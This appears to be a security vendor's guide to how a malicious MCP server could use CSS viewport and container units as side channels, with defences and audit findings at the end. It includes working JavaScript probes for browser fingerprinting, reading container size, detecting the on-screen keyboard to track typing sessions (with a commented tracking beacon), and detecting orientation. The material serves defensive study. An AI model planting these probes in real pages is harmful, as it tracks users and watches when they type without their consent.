Security Guide
MCP server CSS viewport units security — dvh/svh/lvh browser chrome fingerprint, cqw/cqh container dimension oracle, OSK typing detection, vi/vb orientation oracle
CSS dynamic viewport units (Chrome 108+, Firefox 101+, Safari 15.4+) extend the classic vw/vh family with size variants — small (sv*), large (lv*), dynamic (dv*) — and add container-relative units (cqw, cqh) and inline/block direction units (vi, vb). Each unit encodes a different dimension of the browser, OS, and device state. When an MCP server can inject a CSS probe element and read its computed size via getBoundingClientRect(), these units become dimension oracles: browser chrome height without permission, container sizes without ResizeObserver, virtual keyboard visibility without input event, and device orientation without DeviceOrientationEvent.
The viewport unit family — what each unit measures
The CSS Viewport Units Level 4 specification defines three size axes (width, height, inline, block) across four variants: classic (vw, vh), small (svw, svh), large (lvw, lvh), and dynamic (dvw, dvh). The variants differ in how they handle transient browser chrome:
| Unit | What it measures | Browser chrome included? | Changes on OSK? |
|---|---|---|---|
svh (small viewport height) | Viewport height assuming all chrome is visible (smallest possible viewport) | Yes — chrome is present | No — fixed to smallest |
lvh (large viewport height) | Viewport height assuming all chrome is retracted (largest possible viewport) | No — chrome absent | No — fixed to largest |
dvh (dynamic viewport height) | Current actual viewport height — updates as chrome appears/disappears | Varies — matches current state | Yes — shrinks when OSK shown |
Attack 1: dvh − svh encodes mobile browser chrome height — fingerprints browser vendor and version
On mobile browsers, svh represents the viewport with address bar and toolbars visible; lvh represents the viewport with toolbars retracted. The difference lvh − svh is the total browser chrome height in CSS pixels. This value is specific to browser vendor, browser version, device pixel ratio, and OS. Safari on iPhone 15 has a different chrome height than Chrome on the same device; Chrome 120 differs from Chrome 125. An MCP server that injects a probe element with height: calc(100lvh - 100svh) and reads the computed element height via getBoundingClientRect() obtains the exact browser chrome height — a stable, cross-session, cross-tab fingerprint.
// Browser chrome height fingerprint via lvh - svh delta
const probe = document.createElement('div');
probe.style.cssText = `
position: fixed;
top: -9999px;
left: 0;
height: calc(100lvh - 100svh);
width: 1px;
pointer-events: none;
visibility: hidden;
`;
document.body.appendChild(probe);
// Allow layout to resolve
requestAnimationFrame(() => {
const chromeHeightPx = probe.getBoundingClientRect().height;
probe.remove();
// chromeHeightPx values by browser (approximate, varies with device):
// Safari iOS 17.4 (iPhone 15): 82px (address bar + home indicator area)
// Chrome Android 124 (Pixel 8): 56px (address bar only, standard mode)
// Chrome Android 124 (Pixel 8): 0px (fullscreen PWA mode)
// Firefox Android 124: 60px (address bar)
// Samsung Internet 24: 64px (address bar + navigation bar)
// → chromeHeightPx uniquely identifies {browser vendor, major version, device class}
// → persists across sessions, works in private browsing, unaffected by cookie clearing
});
Stable across incognito and cookie clearing: Unlike most fingerprinting signals, the lvh − svh browser chrome height delta is a function of the browser binary, not user state. It is identical in normal browsing, private browsing, and after cookie clearing — making it a persistent tracking identifier.
Attack 2: cqw/cqh container query units read host container dimensions without ResizeObserver
Container query units (cqw, cqh) resolve to 1% of the nearest ancestor with a container-type of size or inline-size. If an MCP server injects an element with width: 100cqw; height: 100cqh inside a host element that has container-type: size, the injected element's computed size equals the host container's size. getBoundingClientRect() on the probe reads the host container's dimensions without ResizeObserver, without getBoundingClientRect on the host element itself, and without triggering any mutation observer — a passive dimension side-channel.
// Container dimension oracle via cqw/cqh probe injection
// The host app has: .content-panel { container-type: size; }
// MCP server injects inside .content-panel:
const panel = document.querySelector('.content-panel');
if (panel) {
const probe = document.createElement('div');
probe.style.cssText = `
width: 100cqw;
height: 100cqh;
position: absolute;
visibility: hidden;
pointer-events: none;
`;
panel.appendChild(probe);
requestAnimationFrame(() => {
const { width, height } = probe.getBoundingClientRect();
probe.remove();
// width, height = host container's current dimensions
// Equivalent to panel.getBoundingClientRect() but without reading the host element directly
// Works even if host element is in a shadow root that the MCP server can't access
});
}
// Without container-type on the host, cqw/cqh fall back to the nearest ancestor with container-type,
// or to the viewport — still encoding some dimension information.
Attack 3: calc(100dvh − 100svh) detects virtual keyboard — passive typing session surveillance
On mobile, the virtual keyboard (on-screen keyboard, OSK) reduces the available viewport height. dvh (dynamic viewport) shrinks when the OSK is shown because the available screen space decreases. svh (small viewport) does not change — it already assumes maximum chrome presence. So the expression 100dvh − 100svh is 0 when the OSK is hidden, and positive (OSK height in CSS pixels) when the OSK is visible. An MCP server can inject a probe with height: max(0px, calc(100dvh - 100svh)) and poll its computed height via ResizeObserver or rAF to detect when the user opens and closes the keyboard — creating a typing session detector without any focus, input, or keyboard events.
// Virtual keyboard (OSK) detection via dvh - svh — typing session surveillance
const probe = document.createElement('div');
probe.style.cssText = `
position: fixed;
top: -9999px;
left: 0;
height: max(0px, calc(100dvh - 100svh));
width: 1px;
pointer-events: none;
`;
document.body.appendChild(probe);
let keyboardVisible = false;
new ResizeObserver(() => {
const h = probe.getBoundingClientRect().height;
const nowVisible = h > 10; // threshold for noise
if (nowVisible !== keyboardVisible) {
keyboardVisible = nowVisible;
if (nowVisible) {
// User opened virtual keyboard → typing session started
// Timing: navigator.sendBeacon('/track', JSON.stringify({ event: 'keyboard_open', ts: Date.now() }))
} else {
// User dismissed keyboard → typing session ended
}
}
}).observe(probe);
// This runs silently for the page lifetime:
// - No input focus events needed
// - Works even if the user is typing in a shadow DOM input not accessible to MCP server
// - Survives navigation within the SPA (probe stays mounted)
Typing surveillance without input access: Combined with a network beacon, this technique reports typing session start/stop timestamps from any input field on the page — including password fields, TOTP inputs, and credit card fields — without the MCP server having any access to the input elements themselves.
Attack 4: vi/vb inline/block viewport units expose orientation without permission
vi is 1% of the viewport in the inline direction — the direction text flows (horizontal for LTR/RTL, vertical for writing-mode:vertical-*). vb is 1% of the viewport in the block direction (perpendicular to text flow). In the default horizontal writing mode, vi = vw and vb = vh. Injecting an element with writing-mode: vertical-rl; width: 100vi; height: 100vb causes vi to resolve along the vertical axis — encoding the viewport height as the element's width. This axis swap means that if the device is rotated, the ratio vi/vb changes from >1 (landscape) to <1 (portrait), encoding device orientation without window.orientation, screen.orientation, or DeviceOrientationEvent permission.
// Device orientation oracle via vi/vb in vertical writing mode
const probe = document.createElement('div');
probe.style.cssText = `
position: fixed;
top: -9999px;
left: 0;
writing-mode: vertical-rl;
width: 100vi; /* in vertical writing mode: vi = vertical axis = viewport HEIGHT */
height: 100vb; /* in vertical writing mode: vb = horizontal axis = viewport WIDTH */
pointer-events: none;
visibility: hidden;
`;
document.body.appendChild(probe);
function checkOrientation() {
const rect = probe.getBoundingClientRect();
// rect.width = 100vi = viewport HEIGHT (in vertical writing mode)
// rect.height = 100vb = viewport WIDTH (in vertical writing mode)
const viewportHeight = rect.width;
const viewportWidth = rect.height;
const orientation = viewportWidth > viewportHeight ? 'landscape' : 'portrait';
const aspectRatio = viewportWidth / viewportHeight;
return { orientation, aspectRatio, viewportWidth, viewportHeight };
}
// Poll for orientation changes without DeviceOrientationEvent:
window.addEventListener('resize', () => {
requestAnimationFrame(() => {
const { orientation, viewportWidth, viewportHeight } = checkOrientation();
// Reports orientation change without any permission — pure CSS layout read
});
});
| Attack | Units used | What it reveals | Browser support |
|---|---|---|---|
| Browser chrome fingerprint | calc(100lvh - 100svh) | Browser chrome height in CSS pixels — unique per {browser vendor, version, device} | Chrome 108+, Firefox 101+, Safari 15.4+ |
| Container dimension oracle | 100cqw / 100cqh | Host container dimensions without ResizeObserver or getBoundingClientRect on host | Chrome 105+, Firefox 110+, Safari 16+ |
| OSK typing detection | calc(100dvh - 100svh) | Virtual keyboard visibility — typing session start/stop timestamps without input events | Chrome 108+, Firefox 101+, Safari 15.4+ |
| Orientation without permission | vi/vb + writing-mode:vertical-rl | Device orientation and aspect ratio without DeviceOrientationEvent permission | Chrome 108+, Firefox 101+, Safari 15.4+ |
SkillAudit findings for CSS viewport units
calc(100lvh - 100svh) probe encodes browser chrome height in CSS pixels — a stable cross-session device+browser fingerprinting signal unaffected by cookie clearing or private browsing.100cqw/100cqh inside host containers with container-type:size read container dimensions via computed size without ResizeObserver or direct host element access.calc(100dvh - 100svh) ResizeObserver probe detects OSK open/close events on any mobile device — passive typing session tracking without input focus events, covering password fields and payment inputs the MCP server cannot access.writing-mode:vertical-rl element with width:100vi; height:100vb and reading its computed dimensions reveals device orientation and aspect ratio without DeviceOrientationEvent permission.Defences
CSP style-src blocks probe injection: All four attacks require the MCP server to inject a probe element using the new viewport units. A strict style-src 'self' CSP prevents inline style injection, blocking probe creation.
Restrict container-type to MCP-isolated subtrees: Container query units only resolve to meaningful dimensions when the probe is inside a container-type:size ancestor. Restricting container-type declarations to the host's own CSS (not exposed to MCP server scope) limits the container dimension oracle to the MCP server's own subtree.
Audit MCP server code for dynamic viewport unit usage in probe elements: SkillAudit flags MCP servers that create small, pointer-events:none, visibility:hidden probe elements using dvh, svh, lvh, cqw, vi, or vb units combined with getBoundingClientRect() reads — the canonical fingerprinting and oracle pattern.
Related: CSS env() safe-area-inset fingerprinting · CSS matchMedia() fingerprinting · CSS writing modes security